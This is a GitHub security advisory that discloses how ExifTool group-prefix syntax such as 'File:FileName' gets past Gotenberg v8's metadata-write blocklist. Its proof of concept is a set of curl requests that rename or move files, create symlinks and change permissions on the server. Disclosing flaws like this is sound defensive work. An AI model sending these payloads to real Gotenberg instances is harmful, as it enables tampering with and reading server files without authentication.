GHSA-7v3r-m9c8-r855
Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/gotenberg/gotenberg/v8 | <= 8.29.1 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
**Summary**
The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.
**Details**
The blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.
The `safeKeyPattern` regex (`^[a-zA-Z0-9\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.
Additionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.
**PoC**
```bash
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:FileName":"pwned.pdf"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Move the file to /tmp (bypasses Directory blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:Directory":"/tmp"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Create a symlink (bypasses SymLink blocklist)
curl -F "[email protected]" \
-F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Change file permissions (not blocked at all)
curl -F "[email protected]" \
-F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
http://localhost:3000/forms/pdfengines/metadata/write
```
**Impact**
Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.
This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.
References
External links from the advisory. They lead to third-party sites.